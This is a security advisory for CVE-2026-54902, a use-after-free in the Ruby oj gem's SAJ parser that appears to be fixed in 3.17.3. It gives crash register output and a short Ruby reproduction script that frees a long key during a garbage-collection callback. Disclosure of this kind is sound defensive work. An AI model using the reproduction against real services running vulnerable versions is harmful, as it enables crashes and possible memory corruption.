CVE-2026-54902
Published:June 19, 2026
Updated:June 21, 2026
Summary "Oj::Parser" in SAJ mode does not protect cached object keys (≥ 35 bytes) from garbage collection. A Ruby callback that triggers GC inside "hash_end" can cause the key string to be reclaimed while the C parser still holds a pointer to it. The subsequent access to the freed string VALUE results in a segfault, confirmed by an RIP pointing to address "0x4242" (a canary-style pattern suggesting control over the freed memory's content). Version - Software: oj gem - Affected: all versions with "ext/oj/saj2.c" / "ext/oj/parser.c" - Latest tested: 3.17.1 (confirmed present) Details Short keys (≤ 34 bytes) are stored inline on the C stack and are safe. Long keys (≥ 35 bytes) are stored as heap-allocated Ruby String objects passed to "rb_funcall" as the "key" argument. Between the key being resolved and the callback completing, a GC triggered inside the callback (e.g. "GC.start") can collect the key String, leaving a dangling VALUE. Crash output: long_key_trigger [BUG] Segmentation fault at 0x0000000000004242 close_object+0x260 /ext/oj/usual.c:405 (calls rb_funcall with freed key) parse+0x11ff /ext/oj/parser.c:693 parser_parse+0x145 /ext/oj/parser.c:1408 RIP: 0x7fd1b46d68b7 RDI: 0x0000000000004242 (freed key VALUE) R12: 0x0000000000004242 The freed VALUE "0x4242" shows the attacker-controlled content of the key string was loaded as a pointer — a classic use-after-free indicator. Reproduce require 'oj' class H < Oj::Saj def add_value(value, key) GC.start(full_mark: true, immediate_sweep: true) if key == 'x' end def hash_start(key); end def hash_end(key); end end p = Oj::Parser.new(:saj) p.handler = H.new p.parse('{"' + 'A' * 35 + '":{"x":1}}') # long outer key, GC fires on inner key
Affected Packages
oj (RUBY):
Affected version(s) >=0.5 <3.17.3Fix Suggestion:
Update to version 3.17.3Related Resources (2)
Do you need more information?
Contact UsCVSS v4
Base Score:
8.7
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
NONE
Vulnerable System Confidentiality
NONE
Vulnerable System Integrity
NONE
Vulnerable System Availability
HIGH
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
7.5
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
NONE
Integrity
NONE
Availability
HIGH
Weakness Type (CWE)
Use After Free